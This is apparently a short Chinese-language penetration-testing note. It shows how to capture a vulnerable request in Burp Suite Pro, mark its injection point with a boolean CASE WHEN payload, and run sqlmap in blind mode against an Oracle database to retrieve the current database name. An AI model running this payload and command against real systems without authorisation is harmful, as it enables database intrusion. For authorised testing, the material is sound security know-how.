0.环境准备

python

sqlmap代码下载

burpsuite_pro_v2023.6安装成功

1.打开burpsuite_pro_v2023.6自带的浏览器

2.在浏览器里面操作，可看历史记录

3.点击有注入漏洞的历史记录，保存到文件zhj.txt

4.编辑保存的文件zhj.txt，找到注入点，加入

,(case+when+1=1*+then+1+else+2+end)

5.运行

python sqlmap.py -r E:\python\zhj.txt --proxy=http://127.0.0.1:8080 --dbms=oracle --technique=B --current-db  -batch

..............等待成果。

注：--proxy=http://127.0.0.1:8080是为了burpsuite里面HTTP history可以看到记录，方便检查访问是正常的，后续为了性能，可以不要。